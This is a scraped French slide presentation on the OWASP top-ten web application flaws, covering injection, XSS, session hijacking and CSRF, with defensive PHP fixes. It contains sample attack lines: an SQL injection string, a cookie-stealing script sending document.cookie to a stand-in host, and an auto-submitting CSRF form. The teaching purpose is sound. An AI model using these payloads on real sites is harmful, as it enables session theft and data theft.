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Failles de sécurité
 

Failles de sécurité

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Internet is born at the end of the 80’s and Web at the beginning of the 90’s, giving a passive consultation mode on Web sites to the user. At the beginning of the 21th century, Web 2.0, the Web ...

Internet is born at the end of the 80’s and Web at the beginning of the 90’s, giving a passive consultation mode on Web sites to the user. At the beginning of the 21th century, Web 2.0, the Web surfer became active and content creator and applications were deployed on the Web. As all the applications, vulnerabilities exist but they are exposed to a bigger population. They may generate problems such as confidential information steal, or application corruption.
This document deals with the top ten most critical security risks identified by Open Web Application Security Project. Each weakness is explained and illustrated by some examples. Rules are given to protect against attacks. These good practices are completed to propose new habits to the developer and protect his applications.

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  • La communication entre le navigateur et le serveur se fait en 3 temps : Le navigateur effectue une requête HTTP Le serveur traite la requête le serveur. C’est-à-dire qu’il la décode, localise fichier demandé et crée une réponse au Le serveur une réponse HTTP Une requête HTTP est un ensemble de lignes envoyé au serveur par le navigateur. Il y a 3 méthodes principalement utilisées parmi les 5 disponibles : GET : Requête de la ressource située à l'URL spécifiée HEAD : Requête de l'en-tête de la ressource située à l'URL spécifiée POST : Envoi de données au programme situé à l'URL spécifiée (PUT pour l’envoi de données à l'URL spécifiée et DELETE Suppression de la ressource située à l'URL spécifiée) Une réponse HTTP est un ensemble de lignes envoyées au navigateur par le serveur. Le corps de la réponse contient le document demandé, le plus souvent au format HTML ou CSS. Le HTML (« HyperText Mark-Up Language ») est un langage dit de « marquage » (de « structuration » ou de « balisage ») dont le rôle est de formaliser l'écriture d'un document avec des balises de formatage. Les spécifications de HTML 4.0 ont été publiées le 18 décembre 1997. La version HTML 4.01, apparue le 24 décembre 1999 apporte quelques modifications mineures au HTML 4.0. On peut donc constater que les standards du Web n’ont pas évolué en 10 ans. Le principe des feuilles de style consiste à regrouper dans un même document des caractéristiques de mise en forme associées à des groupes d'éléments. Grâce aux feuilles de style, lorsque la charte graphique d'un site composé de plusieurs centaines de pages web doit être changée, il suffit de modifier la définition des feuilles de style en un seul endroit pour changer l'apparence du site tout entier ! Depuis le 12 mai 1998, la norme CSS 2.0 est le standard en vigueur. Le couple HTTP/HTML+CSS ne permet que de faire de l’affichage statique. On ne peut pas parler d’application Web dans cas, car il n’y a pas d’interaction avec l’utilisateur. Il s’agit uniquement d’un site Web. La première réponse au besoin de créer une page personnalisée en fonction du choix ou de la saisie de l’utilisateur fut de créer une extension au serveur web. Une extension permet de faire appel à un script ou à serveur d’application. Un script CGI (Common Gateway Interface, traduisez interface de passerelle commune) est un programme exécuté par le serveur web, permettant d'envoyer au navigateur de l'internaute un code HTML créé automatiquement par le serveur (basé par exemple sur une autre application, telle qu'un système de gestion de base de données, d'où le nom de passerelle). Un programme CGI peut être écrit dans à peu près n'importe quel langage de programmation pourvu que celui-ci soit : capable de lire le flux de données d'entrée ; capable de traiter des chaînes de caractères ; capable d'écrire sur le flux standard de sortie ; exécutable ou interprétable par le serveur web. Les langages de programmation les plus utilisés pour l'écriture des CGI sont les suivants : Le langage Perl, particulièrement adapté à la manipulation de chaînes de caractères ; Les langages C et C++ ; Le langage Java PHP est un langage de script interprété exécuté du côté serveur. Il a été mis au point au début d'automne 1994 par Rasmus Lerdorf. Ce langage de script lui permettait de conserver la trace des utilisateurs venant consulter son CV sur son site, grâce à l'accès à une base de données par l'intermédiaire de requêtes SQL Ses principaux atouts sont : Une grande communauté de développeurs partageant des centaines de milliers d'exemples de script PHP ; La gratuité et la disponibilité du code source (PHP est distribué sous licence GNU GPL) ; La simplicité d'écriture de scripts ; La possibilité d'inclure le script PHP au sein d'une page HTML (contrairement aux scripts CGi, pour lesquels il faut écrire des lignes de code pour afficher chaque ligne en langage HTML) ; La simplicité d'interfaçage avec des bases de données (de nombreux SGBD sont supportés, mais le plus utilisé avec ce langage est MySQL , un SGBD gratuit disponible sur de nombreuses plateformes : Unix, Linux, Windows, MacOs X, Solaris, etc...) ; L'intégration au sein de nombreux serveurs web (Apache, Microsoft IIS, etc.). ASP ( Active Server Pages ) est un standard mis au point par Microsoft en 1996 permettant de développer des applications. ASP est en réalité une technologie, ou plus exactement un environnement de programmation, permettant de représenter sous forme d'objets les interactions entre le navigateur du client, le serveur web, ainsi que les connexions à des bases de. Les servlets sont des applications Java fonctionnant du côté serveur au même titre que les CGI et les langages de script côté serveur tels que ASP ou bien PHP. Les servlets s'exécutent dans un moteur de servlet utilisé pour établir le lien entre la servlet et le serveur web. Enfin une servlet étant une application Java, peut utiliser toutes les API Java afin de communiquer avec des applications extérieures, se connecter à des bases de données, accéder aux entrée-sorties (fichiers par exemple), ...
  • La communication entre le navigateur et le serveur se fait en 3 temps : Le navigateur effectue une requête HTTP Le serveur traite la requête le serveur. C’est-à-dire qu’il la décode, localise fichier demandé et crée une réponse au Le serveur une réponse HTTP Une requête HTTP est un ensemble de lignes envoyé au serveur par le navigateur. Il y a 3 méthodes principalement utilisées parmi les 5 disponibles : GET : Requête de la ressource située à l'URL spécifiée HEAD : Requête de l'en-tête de la ressource située à l'URL spécifiée POST : Envoi de données au programme situé à l'URL spécifiée (PUT pour l’envoi de données à l'URL spécifiée et DELETE Suppression de la ressource située à l'URL spécifiée) Une réponse HTTP est un ensemble de lignes envoyées au navigateur par le serveur. Le corps de la réponse contient le document demandé, le plus souvent au format HTML ou CSS. Le HTML (« HyperText Mark-Up Language ») est un langage dit de « marquage » (de « structuration » ou de « balisage ») dont le rôle est de formaliser l'écriture d'un document avec des balises de formatage. Les spécifications de HTML 4.0 ont été publiées le 18 décembre 1997. La version HTML 4.01, apparue le 24 décembre 1999 apporte quelques modifications mineures au HTML 4.0. On peut donc constater que les standards du Web n’ont pas évolué en 10 ans. Le principe des feuilles de style consiste à regrouper dans un même document des caractéristiques de mise en forme associées à des groupes d'éléments. Grâce aux feuilles de style, lorsque la charte graphique d'un site composé de plusieurs centaines de pages web doit être changée, il suffit de modifier la définition des feuilles de style en un seul endroit pour changer l'apparence du site tout entier ! Depuis le 12 mai 1998, la norme CSS 2.0 est le standard en vigueur. Le couple HTTP/HTML+CSS ne permet que de faire de l’affichage statique. On ne peut pas parler d’application Web dans cas, car il n’y a pas d’interaction avec l’utilisateur. Il s’agit uniquement d’un site Web. La première réponse au besoin de créer une page personnalisée en fonction du choix ou de la saisie de l’utilisateur fut de créer une extension au serveur web. Une extension permet de faire appel à un script ou à serveur d’application. Un script CGI (Common Gateway Interface, traduisez interface de passerelle commune) est un programme exécuté par le serveur web, permettant d'envoyer au navigateur de l'internaute un code HTML créé automatiquement par le serveur (basé par exemple sur une autre application, telle qu'un système de gestion de base de données, d'où le nom de passerelle). Un programme CGI peut être écrit dans à peu près n'importe quel langage de programmation pourvu que celui-ci soit : capable de lire le flux de données d'entrée ; capable de traiter des chaînes de caractères ; capable d'écrire sur le flux standard de sortie ; exécutable ou interprétable par le serveur web. Les langages de programmation les plus utilisés pour l'écriture des CGI sont les suivants : Le langage Perl, particulièrement adapté à la manipulation de chaînes de caractères ; Les langages C et C++ ; Le langage Java PHP est un langage de script interprété exécuté du côté serveur. Il a été mis au point au début d'automne 1994 par Rasmus Lerdorf. Ce langage de script lui permettait de conserver la trace des utilisateurs venant consulter son CV sur son site, grâce à l'accès à une base de données par l'intermédiaire de requêtes SQL Ses principaux atouts sont : Une grande communauté de développeurs partageant des centaines de milliers d'exemples de script PHP ; La gratuité et la disponibilité du code source (PHP est distribué sous licence GNU GPL) ; La simplicité d'écriture de scripts ; La possibilité d'inclure le script PHP au sein d'une page HTML (contrairement aux scripts CGi, pour lesquels il faut écrire des lignes de code pour afficher chaque ligne en langage HTML) ; La simplicité d'interfaçage avec des bases de données (de nombreux SGBD sont supportés, mais le plus utilisé avec ce langage est MySQL , un SGBD gratuit disponible sur de nombreuses plateformes : Unix, Linux, Windows, MacOs X, Solaris, etc...) ; L'intégration au sein de nombreux serveurs web (Apache, Microsoft IIS, etc.). ASP ( Active Server Pages ) est un standard mis au point par Microsoft en 1996 permettant de développer des applications. ASP est en réalité une technologie, ou plus exactement un environnement de programmation, permettant de représenter sous forme d'objets les interactions entre le navigateur du client, le serveur web, ainsi que les connexions à des bases de. Les servlets sont des applications Java fonctionnant du côté serveur au même titre que les CGI et les langages de script côté serveur tels que ASP ou bien PHP. Les servlets s'exécutent dans un moteur de servlet utilisé pour établir le lien entre la servlet et le serveur web. Enfin une servlet étant une application Java, peut utiliser toutes les API Java afin de communiquer avec des applications extérieures, se connecter à des bases de données, accéder aux entrée-sorties (fichiers par exemple), ...
  • Les applications Web sont composées d’un ou plusieurs scripts qui reçoivent des données envoyées par un internaute, les traitent et produisent une réponse spécifique à la demande de l’internaute, les traitent et produisent une réponse spécifique à la demande de l’internaute. Ces applications sont courantes sur Internet : systèmes de réservations de salles, systèmes d’inscriptions à des conférences, forums, etc. Une application Web est un système d’information. Comme tout système d’information il doit assurer : - l’intégrité, - la confidentialité, et la disponibilité des données. Les données reçues peuvent être utilisées directement ou stockées dans un fichier, dans des variables de session ou dans une base de données.
  • Une application Web est un système d’information. Comme tout système d’information il doit assurer : - l’intégrité, - la confidentialité, - la disponibilité des données. Les données reçues peuvent être utilisées directement ou stockées dans un fichier, dans des variables de session ou dans une base de données. Toute donnée provenant d’une source extérieure peut être utilisée pour attaquer le système d’information Ces fonctions font l’objet de menaces particulières et peuvent présenter des vulnérabilités susceptibles d’être exploitées par des attaquants motivés ou non. Toute donnée provenant d’une source extérieure peut être utilisée pour attaquer le système d’information Ces applications sont la cible d’attaques diverses : injection de code, d’effacement, détournement de session, etc. Ces attaques visent : - l’intégrité des données (modification des données publiées sur le site) ; - la confidentialité des données (obtention de données sans autorisation) ; - la disponibilité des données (déni de service) ; - la prise de contrôle du serveur web pour attaquer d’autres sites ou pour installer des services (serveur ftp pirate, …).
  • Sécurité des applications Web – PHP/MySQL
  • Les attaques d’injection consistent à injecter un code malicieux qui sera traité par un autre système ou interprété par l’application courante
  • . Ces attaquent incluent les: - injections SQL ; - injections LDAP ; - injections XPath ; - injections SSI ; - injections de code ou de commandes (OS commanding) ; - null injection \\0 ; - buffer overflow (injection de code dans l’application par débordement de tampon).
  • De nombreux sites créent dynamiquement des parties de la requête SQL à partir de données stockées ou saisies. Si les données ne sont pas filtrées un pirate peut réaliser une injection SQL. Cette attaque consiste à modifier une requête SQL en manipulant les entrées de l’application.
  • L’attaque par injection SQL peut viser : - la disponibilité (charge maximale du serveur de base de données, modification du mot de passe d’un utilisateur ou de l’administrateur de l’application web dans un UPDATE) ; - la confidentialité : obtention d’informations stockées dans la base, obtention d’un accès à un intranet sans autorisation ; - l’intégrité des données (modification ou suppression des données). Cet exemple concerne la sélection des données (SELECT) mais les injections peuvent être réalisées avec UPDATE, INSERT et DELETE.
  • Les remplacements effectués sont : " & " (et commercial) devient " & " " " " (guillemets doubles) devient " " " lorsque ENT_NOQUOTES n'est pas utilisée. "'" (guillemet simple) devient ' uniquement lorsque ENT_QUOTES est utilisée. " < " (inférieur à) devient " < " " > " (supérieur à) devient " > " htmlentities() est identique à la fonction htmlspecialchars() , sauf que tous les caractères qui ont des équivalents en entités HTML sont effectivement traduits. En PHP, il est possible de remplacer les caractères potentiellement interprétables en Shell avec la fonction escapeshellcmd
  • 1)La victime utilise un lien ou un formulaire frauduleux. Les moteurs de recherche sont des cibles de prédilection Le paramètre de recherche est par exemple complété par le code actif 2) Le code actif est traité par l’application Web et génère un code malicieux 3) La page de résultat est affichée et le code malicieux est exécuté avec le récapitulatif des paramètres de recherche
  • Les réseaux sociaux sont des cibles de prédilection Un message contient alors le code actif 1) L’attaquant réussit à insérer le code actif dans les données de l’application vulnérable 2)La victime utilise l’application infiltrée. 3) Le code actif est traité par l’application Web et génère un code malicieux 4) La page de résultat est affichée et le code malicieux est exécuté avec le récapitulatif des paramètres de recherche
  • En conclusion, les solutions restent les mêmes quelque soit la forme de l’attaque XSS. En plus cette protection est églament utile pour se protéger des attaques par injection
  • Pendant toute la durée de travail avec l’application Web, l’identifiant de session est transmis à chaque requête http pour le conserver. Pour cela, on utilise un paramètre d’URL (pour le méthode GET) Un champ caché de formulaire (pour la méthode POST) Un cookie
  • Force brute Comptes par défaut Système de réinitialisation de mot de passe Système de création de comptes par soi-même Permet de connaître les comptes existants
  • Force brute Comptes par défaut Système de réinitialisation de mot de passe Système de création de comptes par soi-même Permet de ne pas créer de comptes proches et de ne pas donner d’information sur les comptes existants Ne pas laisser l’utilisateur choisir son identifiant. Permet de gérer les remontées d’information sur les comptes
  • Fixation L’identifiant de session est imposé par le pirate. C’est la méthode la plus simple pour obtenir un identifiant de session valide. Le pirate fournit l’identifiant à la victime (lien dans l’URL, création de cookie, utilisation d’un formulaire sur un autre serveur). L’utilisateur se connecte au site et s’identifie. La session est créée en utilisant l’identifiant fourni. Le pirate peut accéder au site en fournissant l’identifiant fixé (détournement de session). L’identifiant de session peut être : - arbitraire (généré par le pirate) ; - obtenu en émettant une requête vers le site cible de l’attaque (si le site retourne un identifiant de session pour toute requête avant l’authentification de l’utilisateur). Vol - interception – l’identifiant est obtenu en écoutant le réseau ; - consultation du fichier de session sur le serveur ; (par injection de commandes systèmes par exemple) - lecture de l’information dans l’URL ; (copie d’adresse dans un mail) vol de cookie (XSS, cookie stocké dans le navigateur d’un ordinateur avec accès public). Prédiction l’identifiant est deviné. Par exemple, l’identifiant est un nombre entier incrémenté à chaque ouverture de session. Force brute
  • Vérifier que le navigateur est le même que celui qui a ouvert la session Vérifier que l’IP de l’utilisateur est la même que celle qui a ouvert la session Possibilité de fermer la session et mettre en place une durée limite pour la session Lorsqu’une session est détruite, il faut: Supprimer les données sur le serveur Envoyer un cookie vie au client
  • Un développeur doit toujours avoir à l’esprit que les données reçues ne proviennent pas toujours d’une source fiable
  • 1) L’utilisateur se connecte à l’application 2) L’utilisateur utilise un lien ou un formulaire frauduleux qui contient un script caché 3) Le code est traité par l’application Web et génère une action
  • Communiquer sur des réseaux implique l’utilisation de standards. Internet se base sur 4 couches de protocoles. Le principe des couches est le suivant : - Chaque couche regroupe des protocoles de même ordre (qui gère les mêmes fonctionnalités : transmission, physique, etc...) - Chaque couche est totalement indépendante des couches supérieures et inférieures. - Chaque couche ne peut transmettre les paquets qu'à la couche inférieure (en émission) ou supérieure (en réception), à l'aide de ce qu'on appelle des SDU (Service Data Unit) - Une couche ne peut envoyer des informations à une machine distante que vers une couche de même niveau. Ces échanges sont appelés PDU (Protocol Data Unit). Lorsqu'une information est émise par une couche, elle doit accéder à la couche physique pour pouvoir être envoyée sur le réseau. Elle doit donc pour cela traverser chacune des couches qui la sépare de la couche physique. Mais chaque couche doit ajouter ses informations aux paquets afin de permettre au destinataire de les faire remonter correctement, en suivant les bons protocoles. Ces informations sont ajoutées dans des entêtes, ajoutées au début du paquet. L'ajout successif des entêtes par chaque couche traversée est appelé encapsulation. Lorsque le paquet arrive à son destinataire, il remonte les couches une part une, et chacune récupère les informations contenues dans l'entête la concernant, et retire cette dernière. Le paquet arrive donc à la couche visée dans le même état que celui dans lequel il a été émis.
  • Tableau des attaques 2004, 2007, 2010
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Failles de sécurité Failles de sécurité Presentation Transcript

  • Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développementGuillaume HARRY l Contenu sous licence Creative Commons CC-BY-NC-ND
  • P. 2 1. Introduction 2. Principales failles de sécurité 3. Conclusion SOMMAIRE Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • P. 3 1. Contexte 2. Enjeux 1. INTRODUCTION Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 1.1 Contexte : Fonctionnement d’une application WebP. 4  Composants serveur Requête http EE xx tt HTML + CSS Utilisateur Serveur http Serveur Serveur de base d’application de données Architecture 3-tiers Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 1.1 Contexte : Fonctionnement d’une application WebP. 5  Composants client JavaScript Requête http EE xx tt HTML + CSS XML Utilisateur Moteur Serveur http AJAX Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 1.1 Contexte : Fonctionnement d’une application WebP. 6  Principe d’une application Web 1. Envoie de la saisie d’un formulaire 2. Envoie de la requête correspondante pour traitement 3. Retour du résultat à la page de script 4. Génération et envoie de la page HTML 2) Demande de 1) traitement EE xx tt 4) HTML + CSS 3) Résultat Utilisateur Serveur http Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 1.2 EnjeuxP. 7  Analyse des besoins de sécurité  Intégrité  Confidentialité  Disponibilité  Risques de sécurité applicatifs Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • P. 8 PRINCIPALES FAILLES DE SÉCURITÉ Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.1 InjectionP. 9  Victime d’une attaque  Composant de l’architecture de l’application vulnérable  Attaquant  Extérieur au système  Moyens utilisés  Formulaire de saisie de l’application  Injection de code malicieux dans le code de l’application  Objectif de l’attaque  Vol d’information  Prise de contrôle du système  Déni de service Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.1 InjectionP. 10  Principe d’une attaque 1. Envoi de code malveillant 2. Envoi de la requête correspondante pour traitement Les étapes suivantes sont fonction de l’attaque employée 3. … 4. … 2) Demande de 1) traitement 4) … 3) … Attaquant Serveur http Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.1 InjectionP. 11  Comportement d’une application vulnérable à l’injection SQL 1. Envoi de la saisie d’un formulaire 2. Envoi de la requête correspondante pour traitement 3. Retour du résultat à la page de script 4. Génération et envoie de SELECT HTML la page numerocarte FROM comptes WHERE nom=user4 AND motdepasse=PASSWORD(eng111) 1) 2) Requête SQL 4) HTML + CSS 3) Résultat Utilisateur Serveur http +-------------+ | numerocarte | +-------------+ | 741852963 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement | +-------------+
  • 2.1 InjectionP. 12  Vol d’information par injection SQL 1. Envoi de code malicieux «  OR 1=1 --  » 2. Envoi de la requête correspondante à la base de données 3. Retour du résultat à la page de script SELECT numerocarte FROM comptes 4. Vol d’information WHERE nom= OR 1=1 -- AND motdepasse=PASSWORD(eng111) 1) 2) Requête SQL 4) HTML + CSS 3) Résultat Attaquant Serveur http +-------------+ | numerocarte | +-------------+ Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement | 123456789 |
  • 2.1 Injection P. 13  Source de vulnérabilité 1. Code de la requête est généré dynamiquement 2. Caractères interprétés (en SQL, en SHELL, …) acceptés //recuperation des parametres2  $nom = $_GET[nom]; $motdepasse = $_GET[motdepasse]; //generation de la requete1  $requeteSQL = "SELECT numerocarte FROM comptes WHERE nom = $nom AND motdepasse = PASSWORD( $motdepasse )"; //execution de la requete $reponse = mysql_query($requeteSQL); $resultat = mysql_fetch_assoc($reponse); //affichage du resultat echo $resultat[numerocarte]; Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.1 Injection P. 14  Solutions 1. Utiliser des requêtes paramétrées 2. Ne pas autoriser les caractères spéciaux //recuperation des parametres2  $nom = htmlspecialchars($_GET[nom],ENT_QUOTES); $motdepasse = htmlspecialchars($_GET[motdepasse] ,ENT_QUOTES); //preparation de la requete $stmt = $mysqli->prepare("SELECT numerocarte FROM comptes WHERE nom = ? AND motdepasse = PASSWORD( ? )");1  $stmt->bind_param("ss", $nom, $motdepasse); //execution de la requete $stmt->execute(); $stmt->bind_result($resultat); $stmt->fetch(); //affichage du resultat echo $resultat; Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.2 Cross-Site Scripting (XSS)P. 15  Victime d’une attaque  Utilisateur de l’application vulnérable  Attaquant  Extérieur au système  Moyens utilisés  Injection de code actif dans un document HTML 1. XSS réfléchie 2. XSS stockée  Objectif de l’attaque  Vol d’information  Prise de contrôle du système de l’utilisateur  Hameçonnage Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.2 Cross-Site Scripting (XSS)P. 16  Exemple de code actif  document.write(<img src=http://att.ack.org/steal.php?+docum ent.cookie+ width=1>);  Ajoute une balise cachée lors de l’affichage de la page par le navigateur <img src=http://att.ack.org/steal.php? 1...f width=1>  L’appel de la page stocke les informations en paramètre Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.2 Cross-Site Scripting (XSS)P. 17  Par réflexion 3) Page de résultat avec le script Utilisateur Application Web 1) C liq ue 2) Exécution s ur 4) u du script embarqué Vo nl l ien d’i nfo rm ati on Attaquant Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.2 Cross-Site Scripting (XSS) P. 18  Par réflexion Source de vulnérabilité 1. Caractères HTML/JavaScript acceptés R&eacute;sultat de la recherche :1)  <?php echo $_GET[recherche];?> 2.Accès autorisé aux cookies pour JavaScript Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.2 Cross-Site Scripting (XSS)P. 19  Par réflexion Solutions 1. Ne pas autoriser les caractères spéciaux R&eacute;sultat de la recherche : <?php $recherche = htmlspecialchars($_GET[recherche],ENT_QUOTES); echo $recherche; ?> 2.Rendre les cookies utilisables uniquement par l’application Le code JavaScript ne peut pas accéder au cookie <?php session.cookie_httponly = True ?> Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.2 Cross-Site Scripting (XSS)P. 20  Stocké 2) Demande de la page 3) Page de résultat avec le script Utilisateur Application Web 1) Enregistrement 4) du code actif Vo l d’i nfo rm ati on Attaquant Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.2 Cross-Site Scripting (XSS) P. 21  Stocké Source de vulnérabilité Caractères HTML/JavaScript acceptés <?php $message=$_GET[message]; $nom=$_GET[nom]; $numsujet=$_GET[numsujet]; //generation de la requete $requeteSQL = "INSERT INTO messages VALUES (NULL, $numsujet, $nom, $message)"; ?> Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.2 Cross-Site Scripting (XSS)P. 22  Stocké Solutions 1.Filtrer les entrées 2.Ne pas autoriser les caractères spéciaux R&eacute;sultat de la recherche : <?php $recherche = htmlspecialchars($_GET[recherche],ENT_QUOTES); echo $recherche; ?> 3.Rendre les cookies utilisables uniquement par l’application <?php session.cookie_httponlyne Truepas accéder au cookie Le code JavaScript = peut ?> Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.3 Violation de gestion d’authentification et de SessionP. 23  Victime d’une attaque  Application vulnérable  Attaquant  Extérieur au système  Moyens utilisés  Usurpation d’identité 1. Attaque contre le système d’authentification 2. Détournement de session  Objectif de l’attaque  Accès à l’application  Vol d’information  Corruption de données Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.3 Violation de gestion d’authentification et de SessionP. 24  Mécanisme de connexion  Rappel : http est un protocole déconnecté 1. Authentification 2) Demande 1) de vérification EE xx tt 4) Envoi id 3) Résultat de session Utilisateur Serveur http 2. Travail avec l’identifiant de session 1) Envoi id de session 2) … EE xx tt 4) Envoi id 3) … de session Utilisateur Serveur http Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.3 Violation de gestion d’authentification et de SessionP. 25  Attaque contre le système d’authentification Sources de vulnérabilité 1.Force brute 2.Comptes par défaut 3.Système de réinitialisation de mot de passe 4.Système de création de comptes par soi-même Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.3 Violation de gestion d’authentification et de SessionP. 26  Attaque contre le système d’authentification Solutions 1.Force brute 1. Mots de passe forts 2. Message d’erreur générique 3. Verrouillage de compte après 5 erreurs consécutives 4. Utilisation de captcha 2.Supprimer ou désactiver les comptes par défaut 3.Système de réinitialisation de mot de passe Envoi d’un nouveau mot de passe sur média préconfiguré 1.Système de création de comptes par soi-même Ne pas autoriser les identifiants proches Générer l’identifiant de connexion Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.3 Violation de gestion d’authentification et de SessionP. 27  Détournement de session Méthodes d’attaque 1.Fixation 2.Vol 3.Prédiction 4.Force brute 1) Envoi id de session 2) … EE xx tt 4) Envoi id 3) … de session Utilisateur Serveur http 5) Envoi id de session Attaquant Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.3 Violation de gestion d’authentification et de SessionP. 28  Détournement de session Solutions 1.Utiliser un moyen d’identification secondaire 2.Détruire les sessions 3.Ne pas soumettre les données par GET 4.Chiffrer les flux de transmission des identifiants 5.Redemander le mot de passe lors d’un changement de niveau de privilège Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.4 Référence directe non sécurisée à un objetP. 29  Victime d’une attaque  Application vulnérable ou utilisateur  Attaquant  Extérieur au système ou utilisateur  Moyens utilisés  Injection de données frauduleuses  Objectif de l’attaque  Attaque par injection  Attaque XSS  Accès et/ou modification de données sans autorisation Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.4 Référence directe non sécurisée à un objetP. 30  Source de vulnérabilité  Valeurs de paramètre non vérifiées //recuperation des parametres $nom = $_GET[proprietaire]; //generation de la requete $requeteSQL = "SELECT numerocarte FROM comptes WHERE nom = $nom"; Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.4 Référence directe non sécurisée à un objetP. 31  Solutions 1. Vérifier toutes les données avant utilisation (get, post, cookie) 1. Type attendu 2. Nombre d’arguments attendus 3. Valeurs limitées 4. Taille de la donnée 5. Valeur nulle autorisée? 6. Valeur suit une expression régulière 2. Protéger les sorties vers le client • Coder les caractères spéciaux Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.5 Falsification de requêtes inter-site (CSRF)P. 32  Victime d’une attaque  Application vulnérable  Attaquant  Extérieur au système  Moyens utilisés  Requête http d’attaque envoyée par un utilisateur 1. CSRF réfléchie 2. CSRF stockée  Objectif de l’attaque  Vol d’information  Corruption de données Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.5 Falsification de requêtes inter-site (CSRF)P. 33  Exemple de requête d’attaque  La requête simule une action de l’utilisateur  L’appel de la page exécute une fonctionnalité de l’application <form method="GET" id="reflected_CSRF" name="reflected_CSRF" action="add_message.php"> <input type=hidden name="numsujet" value="6"> <input type=hidden name="nom" value="CSRF"> <input type=hidden name="message" value="action frauduleuse"> </form> <script>document.reflected_CSRF.submit()</script> Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.5 Falsification de requêtes inter-site (CSRF)P. 34  Par réflexion 1) Connexion Utilisateur Application Web 2) C liq ue 3) Exécution s ur u du code nl ien Attaquant Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.5 Falsification de requêtes inter-site (CSRF) P. 35 Stocké 2) Affichage de la page 3) Réponse http 4) Exécution du code Utilisateur Application Web 1) Enregistrement du script Attaquant Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.5 Falsification de requêtes inter-site (CSRF)P. 36  Source de vulnérabilité  Utilisation de la méthode GET  Solutions 1. Utilisation de la méthode POST uniquement 2. Redemander le mot de passe lors d’un changement de niveau de privilège Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.6 Mauvaise configuration de sécuritéP. 37  Victime d’une attaque  Application vulnérable  Attaquant  Extérieur au système  Moyens utilisés  Faille de sécurité connues des composants  Objectif de l’attaque  Déni de service  Prise de contrôle du système Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.6 Mauvaise configuration de sécuritéP. 38  Source de vulnérabilité  Vulnérabilités laissées ouvertes par les composants de l’architecture  Solutions 1. Désactiver les options inutiles 2. Mettre à jour les composants 3. Installer les composants en version anglaise 4. Supprimer ou désactiver les comptes par défaut Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.7 Stockage de données cryptographiques non sécuriséP. 39  Victime d’une attaque  Application vulnérable  Attaquant  Extérieur au système  Moyens utilisés  Accès au système de stockage  Objectif de l’attaque  Vol d’information confidentielles Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.7 Stockage de données cryptographiques non sécuriséP. 40  Source de vulnérabilité  Information confidentielle visible en clair  Solutions 1. Chiffrer tous les supports de stockage d’information Bases de données Fichiers Sauvegardes 1. Utiliser des algorithmes de chiffrement forts Exemple : AES 256, RSA 1. Utiliser des algorithmes de hachage forts Exemple : SHA 256 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.8 Défaillance dans la restriction des accès à une urlP. 41  Victime d’une attaque  Application vulnérable  Attaquant  Utilisateur de l’application  Moyens utilisés  Saisie d’adresse non autorisée  Objectif de l’attaque  Accès à des fonctionnalités non autorisées  Accès à des fichiers du serveur http Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
